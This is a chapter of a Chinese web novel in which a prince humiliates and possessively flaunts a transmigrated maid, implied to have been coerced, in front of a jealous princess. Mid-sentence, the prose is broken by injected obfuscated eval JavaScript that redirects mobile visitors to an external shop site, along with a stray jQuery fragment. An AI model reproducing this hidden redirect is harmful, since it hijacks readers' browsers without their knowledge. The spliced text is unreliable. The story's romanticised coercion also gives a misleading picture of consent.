14. 第 14 章

作品:《穿越异世被强取豪夺后

    裴书淮收回手,慢条斯理地擦拭着,仿佛刚刚碰过什么脏东西,令他十分嫌弃。


    丢下一句:“明日记得来当值。”


    随后转身,施施然离去。


    程林安缓缓抬眼,恨恨地瞪着裴书淮离开的方向。如果眼神可以杀人,她早把裴书淮这个罪魁祸首千刀万剐了。


    在心里痛骂裴书淮一个时辰,程林安才觉得怒气稍缓,有了睡意,她拉起被子,眼一闭就躺了回去。


    先把精神养足,明日也好应对裴书淮的刁难。


    程林安做了准备,但显然她准备少了。


    跟着裴书淮踏入书房,眼瞧着书案上堆得冒尖的一摞画卷。程林安有片刻的震撼,这也太多了吧。


    用自以为隐蔽的眼神上上下下扫视一遍裴书淮,目露惊叹,他想要纳这么多美人进府?身体能吃得消吗。


    裴书淮假做淡定,翻看着画卷,其实一直用眼角余光注意程林安的脸色。


    没有看见他想象中的黯然神伤,反而从她脸上看见格外复杂的表情,倒更像是鄙夷不屑又夹杂着莫名古怪的审视?!


    “过来。”他道。


    程林安唯唯诺诺地上前,就见裴书淮把画卷摊开在她眼前,饶有兴致地介绍起画卷上的女子。


    “这位是安宁县主,也是凌长清一母同胞的妹妹,她痴恋本王多年。”


    画卷上的女子清丽婉约,眉眼柔和似水。


    见程林安没有反应,裴书淮又向她介绍起其他画卷上的女子。


    程林安听得头大,前面“三个县主两个郡主,后面各家的小姐更是数不胜数,各有所长。”


    看得她眼花缭乱,最后干脆双眼放空,任由裴书淮喋喋不休地介绍着。


    瞧他热络的劲儿,不知道的还以为裴书淮是为人牵线的红娘,而程林安才是准备娶亲的主角。


    良久,裴书淮放下画卷,起身不动声色地舒缓一下僵硬的身体。


    打眼往外一瞧,发现天色已然暗沉,手边的茶水已经冷透,而程林安虽是站着,可那双眼却很是迷蒙。


    看着她那没心没肺,昏昏欲睡的样子,裴书淮就火大,他都说他要娶妻了,她怎么还能跟个没事人一样?


    都被他占了身子,哪怕是贪图他的权势富贵也不该这样冷落他吧。


    裴书淮猛地拍桌,程林安吓得一个激灵突然清醒,见裴书淮面色不虞,她见怪不怪。


    碰了碰桌案上的茶杯,转头给他换了杯温热的茶水,恭恭敬敬地放在他手边:“王爷请用。”


    裴书淮冷睨着她。


    想到刚才的走神,程林安有些心虚的缩回手,继续装鹌鹑。


    裴书淮端起茶杯,喝了一口,不悦凝眉:“太淡。”


    程林安又给他换了一杯。


    裴书淮再皱眉:“太浓。”


    程林安再换。


    裴书淮:“太苦。”


    程林安心中腹诽:“同一壶茶能喝出不同味道也是很厉害了。”


    裴书淮忽然起身,饶过屏风到程林安泡茶的地方一看,脸色瞬间变黑:“你敢敷衍本王?”


    “冤枉啊王爷。”程林安立马喊道:“茶水确实是换过的。”她指了指半开的窗,“换掉的茶倒出去了。”


    裴书淮往窗口看了眼,不知道信没信。跟个大爷似的往边上一坐,屈指轻叩桌面:“给本王重新沏茶。”


    程林安点头答应,拿了茶具开始准备。她是普通人家出来的,泡茶手法及动作自然没有那些专门学过的大家闺秀雅致。


    不过,她的动作干净利落,虽然少了几分雅,却也能令裴书淮觉得赏心悦目。


    程林安把新沏好的茶献给裴书淮,他斜睨一眼,恶劣地弯唇,故意挑刺:“味道不对。”


    程林安低垂着脑袋,顺从地把茶端走。


    她看他是故意找茬吧,还味道不对,他是狗鼻子吗?


    程林安端着茶就要往窗外倒去,裴书淮忽然开口:“慢着。”


    程林安疑惑看他。


    “本王的茶叶都是难得的好茶,随意倒掉岂不是可惜,赏你喝了。”


    程林安才不信他是好心,但她确实没办法拒绝,走一步看一步吧。


    她端起茶杯,仰头一饮而尽。


    裴书淮稳坐如山,用眼神示意她:“继续。”


    程林安只得继续泡茶,端给他,然后被他用各种各样的理由拒绝,最后一杯杯茶全进了她的肚子。


    数不清喝了多少杯,程林安满嘴都是茶的苦涩,最初还能品到茶的清香回甘,喝到最后程林安感觉连味觉都要丢了。


    又是一杯茶入喉,程林安胃中一阵翻涌。她连忙捂住嘴,感觉慢上一步就会当着裴书淮的面吐出来。


    “感觉如何?”裴书淮幽幽问。


    程林安深呼一口气,指尖几乎要掐进掌心,从牙缝里挤出一句:“多谢王爷赏。”


    “呵。”裴书淮意味不明地发出一个单音,盯着桌上的狼藉和堆叠的茶盏。


    “本王明日宴请安宁县主入府赏花,赐你随身侍奉。正好也让安宁教教你如何沏茶,省得你个废物浪费本王的好茶。”


    明日他可是为她准备了大惊喜,希望她不要让他失望。


    “是。”程林安点头答应,得了裴书淮的允许逃也似的离开。


    想着京中传言安宁县主嚣张跋扈,为了追临王可谓是抛下颜面不择手段,可念着她是那人的妹妹……


    或许是外界对安宁县主多有偏见,凌长清是温润儒雅的君子,他的妹妹应该也不会太差。


    ……


    晨光斜照,透过车窗落在裴书淮周身像是为他渡上一层金光。


    程林安坐在他侧边,望向拿着书简的裴书淮,暗暗撇嘴。


    一卷书简看了几日还没过半,说着急显然不是,说不急他又非得在马车上看,那光一会亮得晃眼一会暗沉如墨,裴书淮也不怕瞎了眼睛。


    马车刚在王府门口停下,外面就响起一声甜腻的:“书淮哥哥。”


    裴书淮面无表情地放下书简,示意程林安先下马车。


    程林安默默起身,抖了抖身上冒出的鸡皮疙瘩,认命地掀开车帘。


    一道红影在眼前划过,香风扑面。


    在即将扑进她怀中时,红影堪堪刹住,紧接着一道尖锐的质问响起:“你是谁?为何会出现在书淮哥哥的马车上。”


    眼前女子一身大红锦衣,满头珠翠,只有面容勉强能与画卷对上。


    这安宁县主一看就不是善茬。


    怕她因着裴书淮找她麻烦,程林安动了动唇正要与临王撇清关系,忽然感觉有人在背后捏了下她的腰,又顺手推了她一把。


    程林安本就站在马车边缘,弯腰掀开车帘准备往下走。


    毫无准备地被人从后面推了下,顿时身形不稳就要往下方摔去。


    眼看就要与粗糙的地面来个近距离接触,程林安慌忙伸手想着多少可以缓冲一下。


    不料,背后适时探出一只胳膊,勾住程林安的腰身,将她拉进一个满是龙涎香的怀抱。


    裴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902182|192098||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书淮低头,看着怀中惊魂未定的程林安,眼神格外宠溺,弯起唇角,用清润的嗓音说着让程林安想吐血的话。


    “笨蛋,下个马车还能走不稳。”


    程林安内心土拨鼠尖叫,这能怪谁?!还不都是他在背后使坏。


    这下别说是与裴书淮撇清关系,不用想她都知道,安宁县主定是把她视为眼中钉肉中刺了。


    而裴书淮尤嫌不够。


    程林安感觉身子骤然腾空,抬眼就见裴书淮利落的下颌线,脑子瞬间乱成一团浆糊。


    对上安宁县主阴沉沉的视线,程林安浑身僵硬,怯懦开口,因着害怕嗓音带着颤:“王爷您放林安下来。”


    裴书淮从容地抱着程林安,并未依言将她放下,反而大步下了马车。


    像是才看见安宁县主,他脚步微顿,抱着程林安转身。


    “县主来早了。”这话怎么听都像是埋怨安宁杵在边上碍事。


    安宁县主精心装扮,满怀喜悦来赴约,不仅没能进得去王府,想等裴书淮给个说法又被他轻视羞辱,气得绞紧手中的帕子。


    程林安只觉如芒在背,挣扎着要从裴书淮怀中下来。


    想逃,但裴书淮根本不让。


    “乖些,别动了。”裴书淮软下声音哄着。


    程林安:“?”


    她只想找个地洞钻进去,抬眼试图用眼神与安宁县主求救。


    结果,凌常安以为她在挑衅,不屑地扫过程林安,冷哼:“书淮哥哥怀中这位是?”


    “本王的贴身女婢。”裴书淮抱着程林安,一边与安宁搭话一边往府内去。


    凌常安紧随其后,闻言以帕掩唇:“原来是个下人,本县主瞧她容貌一般,身段倒是了得。”


    见程林安一直被裴书淮抱着,凌常安咬了咬牙,再度开口。


    “本县主看她的腿脚该是完好的,书淮哥哥不如将她放下,叫她自己走便是。


    一个贱妾哪能这样宠着,这些卑贱的人就是给点好颜色就以为可以飞上枝头变凤凰了。”


    裴书淮低头看了眼怀中人,只瞧见她的后脑勺,无奈地扯起嘴角,一本正经地胡诌:“没办法,让本王养得太娇气。路都走不稳,让她走几步又要喊疼。”


    程林安被二人轮番贬低羞辱,偏两位又都是她不能得罪的存在。只能默默垂头咬紧了唇,手指下意识紧紧掐住。


    裴书淮忽然“嘶”了一声,顿住脚步。


    凌常安连忙关切询问:“怎么了?书淮哥哥。”


    “没事。”裴书淮摇头,看向怀中,无奈道:“不想我与旁人多说话可以直说,不用暗中掐我。”


    “什么?她还敢掐你!”凌常安不可置信地看着裴书淮,“你可是王爷,就这么纵容一个贱奴以下犯上?”


    裴书淮无奈浅笑,笑中带着明显的宠溺,是凌常安梦寐以求的,如今她见到了,可却不是对着她。


    “好不容易遇见了喜欢的雀儿,本王自然该有耐心些。”


    凌常安气急,“你将我置于何处?”


    裴书淮故意装傻:“你是安宁县主,本王自当以礼相待。”


    凌常安泫然欲泣,“你还不明白我的心意吗?”


    目光一转落在不发一语的程林安身上,转瞬变得狠辣,指着她厉声问:“是不是这个狐媚子蛊惑了你,书淮哥哥千万要小心,万一她就是受人指使故意来勾着你,引你失去理智为她不顾一切。”


    裴书淮侧目望向她,自信道:“安宁多虑了,没有任何人能让本王失去理智。”